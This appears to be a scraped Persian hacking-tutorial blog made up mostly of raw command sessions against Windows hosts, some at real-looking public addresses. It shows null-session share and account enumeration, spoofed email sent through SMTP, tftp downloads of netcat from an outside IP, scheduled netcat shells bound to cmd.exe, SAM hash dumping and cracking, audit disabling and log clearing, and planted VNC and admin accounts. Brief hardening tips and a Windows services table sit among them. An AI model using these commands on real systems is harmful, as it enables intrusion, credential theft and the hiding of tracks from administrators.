
نظرات ()ftp ftp.somesite.com
Connected to somesite.com.
220 somesite Microsoft FTP Service (Version 5.0).
User (somesite.com:(none)):
331 Password required for ali1000.
Password:
230 User ali1000 logged in.
ftp>
530 User ali1000 cannot log in.
Login failed.
ftp>
ftp> help
Commands may be abbreviated. Commands are:
! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary glob mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
12-28-02 02:18AM < DIR> db
12-28-02 02:19AM < DIR> Special
03-08-03 03:18AM < DIR> www
226 Transfer complete.
ftp: 135 bytes received in 0.02Seconds 6.75Kbytes/sec.
cd www
250 CWD command successful.
ftp>
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
12-28-02 02:18AM < DIR> _private
02-17-03 04:15PM 61982 1.jpg
12-28-02 02:19AM < DIR> aspnet_client
12-28-02 02:19AM < DIR> cgi-bin
12-29-02 06:27PM 11285 default.asp
12-28-02 02:19AM < DIR> images
12-28-02 02:18AM 2494 postinfo.html
226 Transfer complete.
ftp: 1438 bytes received in 0.28Seconds 5.12Kbytes/sec.
ftp>
lcd c:/araz
put ali.jpg
200 PORT command successful.
150 Opening BINARY mode data connection for ali.jpg.
226 Transfer complete.
ftp: 21010 bytes sent in 0.02Seconds 1050.50Kbytes/sec.
ftp>
mput s*.htm
get default.asp
mget s*.htm
نظرات ()# nmap -sS -O 192.168.3.1-50 -p 139
st 1 open and 1 closed TCP port
Interesting ports on (192.168.3.2):
Port State Service
139/tcp open netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
# nmblookup –A 192.168.3.2
Looking up status of 192.168.3.2
ARMINLAPTOP <00> - B < ACTIVE>
WORKGROUP <00> - < GROUP> B < ACTIVE>
ARMINLAPTOP <03> - B < ACTIVE>
ARMINLAPTOP <20> - B < ACTIVE>
WORKGROUP <1e> - < GROUP> B < ACTIVE>
ADMINISTRATOR <03> - B < ACTIVE>
WORKGROUP <1d> - B < ACTIVE>
..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2
Password:
Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
ADMIN$ Disk Remote Admin
C$ Disk Default share
Armin Disk
Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP
Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
# smbclient -LARMINLAPTOP -I 192.168.3.2
Password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP
Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator
Password:
smb: \>
smb: \> ls
47943 blocks of size 65536. 8261 blocks available
smb: \> cd Blcorp
smb: \Blcorp\> ls
. D 0 Sat Feb 8 03:05:51 2003
.. D 0 Sat Feb 8 03:05:51 2003
WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002
47943 blocks of size 65536. 8261 blocks available
smb: \Blcorp\> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: \Blcorp\>
C:\>nbtstat -A 192.168.3.1
Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []
Host not found
نظرات ()Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
nbtstat -A 217.218.84.29
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
net view \\217.218.84.29
System error 5 has occurred.
Access is denied.
net use \\217.218.84.29\IPC$ "" /user:""
Shared resources at \\217.218.84.29
Share name Type Used as Comment
------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
net use L: \\217.218.84.29\SharedDocs
The command completed successfully.
net use /delete L:
| Win 2000 | Win XP Home | Win XP Professional |
| Start > Programs > Administrative Tools > Local Security Settings > Local Policies > Security Options > Additional restrictions of anonymous connections > Local policy setting > "No access without explicit anonymous permissions" > Ok | Start > Programs > Administrative Tools >
Local Security Settings > Local Policies > 1) Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled 2) Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled | |
| Start > Run > regedit > HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > LSA > RestrictAnonymous=2 | ||
ميتونيد به کمک فايروال يا روتر
پورتهاي زير را ببنديد:135 TCP DCE/RPC Portmapper | ||
d:\newfolder\ali.exe
[autorun]
open=d:\newfolder\ali.exe
run=d:\newfolder\ali.exe
enum -S 217.218.84.29
server: 217.218.84.29
setting up session... success.
enumerating shares (pass 1)... got 10 shares, 0 left:
E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer
cleaning up... success.
nbtscan -v -s : 195.219.49.0-30
195.219.49.1 Recvfrom failed: Connection reset by peer
195.219.49.5 Recvfrom failed: Connection reset by peer
195.219.49.6 Recvfrom failed: Connection reset by peer
195.219.49.7 Recvfrom failed: Connection reset by peer
195.219.49.8 Recvfrom failed: Connection reset by peer
195.219.49.12 Recvfrom failed: Connection reset by peer
195.219.49.23:MRS.ZADE :00U
195.219.49.23:ATINET_MRA :00G
195.219.49.23:MRS.ZADE :03U
195.219.49.23:MAC:44-45-53-54-00-00
195.219.49.28:MAC:44-45-53-54-00-00
195.219.49.26:KIYARASH-R96L0K:00U
195.219.49.26:KIYARASH-R96L0K:20U
195.219.49.26:WORKGROUP :00G
195.219.49.26:WORKGROUP :1eG
195.219.49.26:MAC:00-53-45-00-00-00
195.219.49.22:FARHANG-ZCT780D:00U
195.219.49.22:FARHANG-ZCT780D:20U
195.219.49.22:WORKGROUP :00G
195.219.49.22:WORKGROUP :1eG
195.219.49.22:MAC:00-53-45-00-00-00
195.219.49.29:TESSA :00U
195.219.49.29:WORKGROUP :00G
195.219.49.29:TESSA :03U
195.219.49.29:MAC:44-45-53-54-00-00
195.219.49.25:MAC:44-45-53-54-00-00
winfo 195.219.49.184 -n -v
Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
- http://www.ntsecurity.nu/toolbox/winfo/
Trying to establish null session...
Null session established.
SYSTEM INFORMATION:
- OS version: 4.0
DOMAIN INFORMATION:
- Primary domain (legacy): DSG
- Account domain: TEHRAN
Warning: Unable to retrieve domain DNS information.
Reason : Not supported by the remote OS.
PASSWORD POLICY:
- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters
LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0
SESSIONS:
- Computer: ARTAWILL-V0P1QR
- User:
LOGGED IN USERS:
* Administrator
USER ACCOUNTS:
* Administrator
- Password age: 666 days
- Privilege level: Administrator
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for administering the computer/domain
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
- Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in administrator account)
* Guest
- Password age: 680 days
- Privilege level: Guest
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for guest access to the computer/domain
- Account is: Disabled
- User can change password: No
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in guest account)
* TEST
- Password age: 680 days
- Privilege level: User
- Home directory:
- Home directory mapped as:
- Comment:
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: No
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: Yes
WORKSTATION TRUST ACCOUNTS:
INTERDOMAIN TRUST ACCOUNTS:
SERVER TRUST ACCOUNTS:
SHARES:
* ADMIN$
- Type: Special share reserved for IPC or administrative share
- Remark: Remote Admin
* IPC$
- Type: Unknown
- Remark: Remote IPC
* C$
- Type: Special share reserved for IPC or administrative share
- Remark: Default share
enum -P xxx.xxx.xxx.xxx
server: xxx.xxx.xxx.xxx
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.
enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx
نظرات ()telnet mail.noavar.com 110
nc -v mail.noavar.com 110
+OK POP3 server www.noavar.com ready
user araztest
+OK Please enter password for araztest
pass mypass
+OK password for user araztest Accepted
stat
+OK 2 25924
list
+OK
1 70
2 24923
.
retr 1
+OK 70 octets
Message-ID: <875808060@www.noavar.com>
From: "ali"
X-Mailer: Noavar
To: araztest@noavar.com
MIME-Version: 1.0
Subject: salam
Date: Thu, 13 Feb 2003 20:05:56
salam, chetori?
.
dele 1
+OK Message 1 Marked for removal
rset
+OK 1 70
quit
+OK www.noavar.com signing off
نظرات ()Domain Server: ns.mob.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.
Domain Server: ns.cw.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.
...
telnet mx1.mail.yahoo.com 25
220 YSmtp mta499.mail.yahoo.com ESMTP service ready
HELO yahoo.comاين دستور يعني من از کجا هستم (يعني شما که ميخواهيد ميل بزنيد، کي هستيد). اينجا من گفتم که من از سايت yahoo.com هستم!! معمولا مهم نيست که جلوی عبارت HELO نام چه سايتي را بنويسيد چون اکثرا چک نميشود. و جواب ميشنوم:
250 mta499.mail.yahoo.com
MAIL FROM: <me@hotmail.com>
250 sender <reza@beduhi.com> ok
RCPT TO: <target@yahoo.com>
250 recipient <target@yahoo.com> ok
DATA
354 go ahead
From: abbas akbari <me@hotmail.net>
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
bah bah
sam aleikum
.
250 ok dirdel
QUIT
HELO yahoo.com
MAIL FROM: <me@hotmail.com>
RCPT TO: <target@yahoo.com>
DATA
From: abbas akbari <me@hotmail.net>
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
bah bah
sam aleikum
.
QUIT
nc -v mx1.mail.yahoo.com 25 < fake.txt
From: "abbas akbari" <me@hotmail.net>
Subject: arze salam
bah bah
sam aleikum
From abbas akbari Mon Jan 6 05:56:37 2003
X-Apparently-To: ali1000vali2000@yahoo.com via 216.136.129.53; 06
Jan 2003 05:56:37 -0800 (PST)
Return-Path:
Received: from 217.218.84.27 (HELO yahoo.com) (217.218.84.27) by
mta576.mail.yahoo.com with SMTP; 06 Jan 2003 05:56:37 -0800 (PST)
From: "abbas akbari" <me@hotmail.net>
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
Content-Length: 19
bah bah
sam aleikum
نظرات ()telnet www.hotmail.com 80
nc -v www.hotmail.com 80
HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 05 Dec 2002 12:02:51 GMT
Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login
X-Cache: MISS from cache5.neda.net.ir
Connection: close
nc -v www.far30.com 80 < ali.txt
type ali.txt | nc -v www.far30.com 80
GET /startup/index.html HTTP/1.0
nc -v www.site.com 80 > index.html
nc -v www.site.com 80 < dastoorat.txt > index.html
نظرات ()telnet router2.iums.ac.ir 79
nc -v router2.iums.ac.ir 79
finger .@router2.iums.ac.ir
Line User Host(s) Idle Location
33 tty 33 whgh Async interface 0
34 tty 34 najahan Async interface 0
35 tty 35 sadf Async interface 0
36 tty 36 abokho Async interface 0
38 tty 38 whgh Async interface 0
39 tty 39 bzamani Async interface 0
40 tty 40 saeedmah Async interface 0
41 tty 41 mfaizi Async interface 0
42 tty 42 gourabi Async interface 0
43 tty 43 farhadz Async interface 0
44 tty 44 arbks Async interface 0
45 tty 45 mhalavi Async interface 0
46 tty 46 farhood Async interface 0
47 tty 47 staavoni Async interface 0
48 tty 48 whgh Async interface 0
* 66 vty 0 idle 0 217.218.84.58
Interface User Mode Idle Peer Address
نظرات ()telnet 194.225.184.13 25
nc -v 194.225.184.13 25
telnet 194.225.184.13 13
nc -v 194.225.184.13 13
11:35:33 AM 10/5/2002
telnet 194.225.184.13 7
nc -v 194.225.184.13 7
نظرات ()| Display name | Service name | Process name | Description | Status |
| Application Management | appmgt | Services.exe or svchost.exe | Installation services (Add/Remove Programs) - Assign, Publish, and Remove. | Manual |
| Computer Browser | Browser | Services.exe | Actively collect the names of NetBIOS resources on the network, creating a
list so that it can participate as a master browser or basic browser (one that
takes part in browser elections). This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager. |
Automatic |
| DHCP Client | Dhcp | Services.exe or svchost.exe | Manage network configuration by registering and updating IP addresses and DNS names. | Automatic |
| DNS Client | Dnscache | Services.exe | Resolves and caches Domain Name System (DNS) names. | Automatic |
| EventLog | EventLog | Services.exe | Record System, Security, and Application Events. Viewed with the MMC Event Viewer (eventvwr.exe in NT). |
Automatic |
| IIS Admin Service | IISAdmin | %SystemRoot%\System32\inetsrv\inetinfo.exe | Allows administration of Web and FTP services through the Internet Information Services snap-in. | Automatic (if IIS installed) |
| Internet Connection Sharing (Internet Connection Firewall) | SharedAccess | svchost.exe -k netsvcs | Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection. | Automatic |
| IPSEC Policy Agent | PolicyAgent | lsass.exe | Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. | Automatic or Disable |
| Kerberos Key Distribution Center | kdc | lsass.exe | Generates session keys and grants service tickets for mutual client/server authentication. | Disable |
| Messenger | Messenger | Services.exe | Process the delivery of pop-up messages sent by the Alerter service, or via
NET SEND. The messages appear on the recipient's machines, and must be clicked
OK to disappear. This service is also required to receive any messages sent by the Messenger service from another machine. This service is not related to Windows Messenger |
Automatic |
| Network Connections | Netman | svchost.exe -k netsvcs | Manage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) | Manual |
| Net Logon | Netlogon | Lsass.exe (Local Security Authority Subsystem) |
Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. | Automatic - when connected to a domain. Manual for stand-alone machines. |
| NetMeeting Remote Desktop Sharing | Nmnsrvc | mnmsrvc.exe | Allows authorized people to remotely access your Windows desktop using NetMeeting. | Manual or Disabled |
| NT LM Security Support Provider | NtLmSsp | Services.exe | Extends NT security to Remote Procedure Call (RPC) programs using various
transports other than named pipes. RPC activity is quite common, and most RPC apps don't use named pipes. |
Manual |
| Protected Storage | ProtectedStorage | Pstores.exe | Encrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys. | Automatic |
| Remote Procedure Call (RPC) Locator | RpcLocator | Locator.exe | Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications. | Manual |
| Remote Procedure Call (RPC) Service or Remote Procedure Call (RPC) |
RpcSs | Rpcss.exe or svchost -k rpcss | This RPC subsystem is crucial to the operations of any RPC activities taking
place on a system (DCOM, Server Manager, User Manager) Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model). |
Automatic |
| Remote Registry Service | RemoteRegistry | regsvc.exe | Allow remote registry manipulation. | Automatic or disabled |
| Routing and Remote Access | RemoteAccess | svchost.exe -k netsvcs | Allow incoming connections via dial in or VPN. | Disable for security reasons or Manual |
| RunAs Service (Secondary Logon) | secLogon | services.exe or svchost.exe | Enables starting processes under alternate credentials. | Automatic or Disable |
| Schedule (Task scheduler) | Schedule | atsvc.exe or mstask.exe | This service is required for the use of the AT command, which allows the
scheduling of commands (Jobs) to be run on the machine, at a specific date &
time. Under NT it's a Resource Hog. Under XP it's used by some auto-tuning operations. |
Automatic |
| Security Accounts Manager | SamSs | lsass.exe | Stores security information for local user accounts. | Automatic |
| Server | LanmanServer | Services.exe | Support for file sharing, print sharing, and named pipe sharing via SMB services. | Automatic. Disable on an IIS Server or if no resources are shared. |
| Simple Mail Transport Protocol (SMTP) | SmtpSvc | %SystemRoot%\System32\inetsrv\inetinfo.exe | Transports electronic mail across the network | Automatic (if IIS installed) |
| Simple TCP/IP Services | SimpTcp | tcpsvcs.exe | Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day. | |
| SNMP Service | Snmp | snmp.exe | Agents that monitor the activity in network devices and report to the network console workstation. | Automatic (if installed) |
| SNMP Trap Service | Snmptrap | snmptrap.exe | Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer. | Automatic (if installed) |
| System Event Notification | SENS | svchost.exe -k netsvcs | Track system events such as Windows logon, network, and power events.
Notifiy COM+ Event System subscribers of these events. |
Automatic |
| TCP/IP NetBIOS Helper | lmHosts | Services.exe | Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins)
This is an alternative to the more standard DNS lookup. |
|
| Telnet | TlntSvr | tlntsvr.exe | Allows a remote user to log on to the system and run console programs using the command line. | Manual or Disabled. |
| Terminal Services | TermService | svchost.exe | Required for Fast User Switching, Remote Desktop and Remote Assistance | Disable |
| WebClient (XP) | WebClient | svchost.exe | Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk. | Disable |
| Windows Management Instrumentation | WinMgmt | %SystemRoot%\System32\WBEM\WinMgmt.exe | Provides system management information. | Automatic |
| Windows Time | W32time | services.exe | Update the computer clock by reference to an internet time source or a time server. | Automatic or disable |
| Workstation | lanmanworkstation | Services.exe | Communications and network connections. Services dependent on this being started: Alerter, Messenger, and Net Logon. |
Automatic. or Manual - for a stand-alone PC with no LAN or internet connection. |
| World Wide Web Publishing Service | W3Svc | %SystemRoot%\System32\inetsrv\inetinfo.exe | Provides Web connectivity and administration through the Internet Information Services snap-in. | Automatic (if IIS installed) |
sclist
sc query
winmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )
netsvc /list \\xxx.xxx.xxx.xxx
sclist | find "Schedule"
sc query Schedule
sc query Schedule | find "STATE"
sc qc Schedule
netsvc Schedule \\xxx.xxx.xxx.xxx /query
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /query
sc \\xxx.xxx.xxx.xxx query Schedule
sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE"
sc \\xxx.xxx.xxx.xxx qc Schedule
net stop Schedule
net stop "Task Scheduler"
sc stop Schedule
netsvc Schedule \\xxx.xxx.xxx.xxx /stop
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stop
sc \\xxx.xxx.xxx.xxx stop Schedule
net start Schedule
net start "Task Scheduler"
sc start Schedule
netsvc Schedule \\xxx.xxx.xxx.xxx /start
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /start
sc \\xxx.xxx.xxx.xxx start Schedule
net pause Schedule
net pause "Task Scheduler"
sc pause Schedule
netsvc Schedule \\xxx.xxx.xxx.xxx /pause
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pause
sc \\xxx.xxx.xxx.xxx pause Schedule
net continue Schedule
net continue "Task Scheduler"
sc continue Schedule
netsvc TermsService \\xxx.xxx.xxx.xxx /continue
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue
sc \\xxx.xxx.xxx.xxx continue Schedule
sc delete Schedule
instsrv Schedule remove
delsrv Schedule
sc \\xxx.xxx.xxx.xxx delete Schedule
sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule )
instsrv Schedule zzzzz
srvany ???? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )
sc \\xxx.xxx.xxx.xxx create Schedule binPath=zzzz
sc GetKeyName "task scheduler"
sc GetDisplayName schedule
remote /s cmd zzzzzz
remote /c xxx.xxx.xxx.xxx zzzzzz
psexec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exe
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = 0x00000008 0x57bf2d2e 0x9e6cb06e
regini -m \\xxx.xxx.xxx.xxx winvnc.ini
winvnc -install
net start winvnc
%SystemRoot%\System32\Config
auditpol /disable
auditpol /enable
elsave -s \\xxx.xxx.xxx.xxx -l "Security" -C
%SystemRoot%\System32\LogFiles
%SystemRoot%\System32\LogFiles\W3SVC1\ex030912.log
نظرات ()?:\inetpub\scripts
?:\program files\common files\system\msadc
?:\winnt\help\iishelp
?:\inetpub\iissamples
%SystemRoot%\System32\inetsrv\iisadmin
%SystemRoot%\System32\inetsrv\iisadmpwd
%SystemRoot%\web\printers
%SystemRoot%
%SystemRoot%\system32
tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exe
%SystemRoot%\System32\Config\
guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::البته به تعداد اکانتهاي محلي که در کامپيوتر قرباني وجود دارد، يه سطر داده مثل اين بالايي هست. اينجا چهار داده مهم داريم، اولي اسم اکانت است، بعد يه دونقطه (:) داريم و بعد يه عدد که نشون ميده اين اکانت يازدهيم اکانتي است که در اين کامپيوتر ايجاد شده است ( اولين اکانت عدد ۱۰۰۰ دارد )، بعد دوباره دونقطه داريم، بعد LM hash رو داريم يعني 7C349F26F362950F05382367BF6677B7 بعد دوباره دونقطه و بعد NTLM hash يعني 9D5DF8F2A588405949DE0917CC19F8DD
expand sam._ samدقت کنيد که expand يکي از ابزارهاي NTRK است. با اين دستور مثل اينه که يه نسخه معادل sam رو ( با اون اکانتهايي که موقع آخرين backup گيري داشتهايم ) ايجاد ميکنيم که ميتونيم ازش استفاده کنيم.
samdump c:\folder\SAM
Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0:F873525F352BCF1243B83938AC28A147:::
ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::
guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::
,...
samdump c:\folder\SAM > hash.txt
pipeupsam hash.txt
pwdump
pwdump > hash.txt
pulist | find "lsass"
lsass.exe 63 NT ...
pwdump2 63
pwdump2
pwdump2 > hash.txt

lc_cli -p hash.txt -w theargon.lst
lc_cli -p hash.txt -b
john hash.txt
john -show hash.txt
نظرات ()net help
The syntax of this command is:
NET HELP command
-or-
NET command /HELP
Commands available are:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES lists the network services you can start.
NET HELP SYNTAX explains how to read NET HELP syntax lines.
NET HELP command | MORE displays Help one screen at a time.
net help time
net time /help
net share shanguli_mangul_habbeye_angur
This shared resource does not exist.
More help is available by typing NET HELPMSG 2310.
net helpmsg 2310
net time
net time \\xxx.xxx.xxx.xxx
net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator"
net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:""
net use * \\xxx.xxx.xxx.xxx\SharedDocs
net use H: \\xxx.xxx.xxx.xxx\SharedDocs
H:
dir
,...
net use /delete H:
net view \\xxx.xxx.xxx.xxx
Shared resources at \\xxx.xxx.xxx.xxx
Share name Type Used as Comment
------------------------------------------------
SharedDocs Disk
The command completed successfully.
net share
Share name Resource Remark
-------------------------------------------------------------------------------
F$ F:\ Default share
IPC$ Remote IPC
D$ D:\ Default share
I$ I:\ Default share
G$ G:\ Default share
E$ E:\ Default share
ADMIN$ I:\WINNT Remote Admin
H$ H:\ Default share
C$ C:\ Default share
J$ J:\ Default share
The command completed successfully.
net share C$ /delete
net share C$=C:
net share info=c:\ali
net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): 42
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: SERVER
The command completed successfully.
net userو جواب ميشنوم:
User accounts for \\computer-name
-------------------------------------------------------------------------------
Administrator ali araz
ASPNET Guest
The command completed successfully.
net user guest
User name Guest
Full Name
Comment Built-in account for guest access to the computer/domain
User's comment
Country code 000 (System Default)
Account active No
Account expires Never
Password last set 10/27/2003 2:58 AM
Password expires Never
Password changeable 10/27/2003 2:58 AM
Password required No
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Guests
Global Group memberships *None
The command completed successfully.
net user vahid yechizi /add
net user vahid /delete
net localgroup
Aliases for \\Computer-name
-------------------------------------------------------------------------------
*Administrators *Backup Operators *Debugger Users
*DHCP Administrators *DHCP Users *Guests
*Power Users *Replicator *Users
The command completed successfully.
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
ali
araz
The command completed successfully.
net localgroup Administrators ali /delete
net localgroup Administrators ali /add
net session
net session /delete
net session \\xxx.xxx.xxx.xxx /delete
net send Administrator Salam Refig
net send /users Salam Refig
sc \\xxx.xxx.xxx.xxx start schedule
SERVICE_NAME: schedule
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
[SC] StartService FAILED 1056:
An instance of the service is already running.
at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -l -p 22 -e cmd.exe"
at \\xxx.xxx.xxx.xxx
Status ID Day Time Command Line
-------------------------------------------------------------------------------
1 Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exe
at \\xxx.xxx.xxx.xxx 1 /delete
soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"
REG ADD HKLM\Software\MyCo\Araz\Point=20.00
REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxx
REG DELETE HKLM\Software\MyCo\Araz\ /FORCE
REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCE
HKLM\Software\MyCo\Araz
Point = REG_SZ 20.00
regini -m \\xxx.xxx.xxx.xxx Araz.ini
gettype /vو جواب شنيدم:
Windows NT [Enterprise/Terminal] Server Non-Domain Controllerت- ابزارهاي کار با اکانتها :
whoamiو مثلا جواب ميشنويم:
[Group 1] = "Everyone"
[Group 2] = "LOCAL"
[Group 3] = "IUSR_xxxx-yyyy"
,...
local Administrators \\xxx.xxx.xxx.xxx
showgrpsو جواب ميشنوم:
User: [computer-name\Administrator], is a member of:
computer-name\Administrators
\Everyone
showgrps guest
User: [[computer-name\guest], is a member of:
\Everyone
[computer-name\Guests
showmbrs Administrators
perms administrator c:
c:\ perms: #-------
perms guest d:\wwwroot
d:\wwwroot\ perms: No Access
d:\wwwroot\ perms: #RWXDPOA
R Read
W Write
X Execute
D Delete
P Change Permissions
O Take Ownership
A General All
- No Access
* The specified user is the owner of the file or directory.
# A group the user is a member of owns the file or directory.
? The user's access permisssions can not be determined.
showacls /s /u:guest j:\wwwroot\
Error: Volume type incorrect [FAT32]
User: [\guest]
has the following access to directory [j:\wwwroot\]:
j:\wwwroot\
j:\wwwroot
j:\wwwroot\ali
NT AUTHORITY\SYSTEM Read [RX]
Everyone Read [RX]
NT AUTHORITY\SYSTEM Read [RX]
CREATOR GROUP Read [RX]
BUILTIN\Administrators Change [RWXD]
CREATOR OWNER Change [RWXD]
,...
R GENERIC_READ
W GENERIC_WRITE
X GENERIC_EXECUTE )
D DELETE
A GENERIC_ALL
d FILE_READ_DATA (directory)
l FILE_READ_DATA (file)
s SYNCHRONIZE
r FILE_READ_DATA
w FILE_WRITE_DATA
a FILE_APPEND_DATA
rE FILE_READ_EA
wE FILE_WRITE_EA
fx FILE_EXECUTE
rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:read
rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE
netcmd \\xxx.xxx.xxx.xxx\Araz
srvcheck \\xxx.xxx.xxx.xxx
نظرات ()
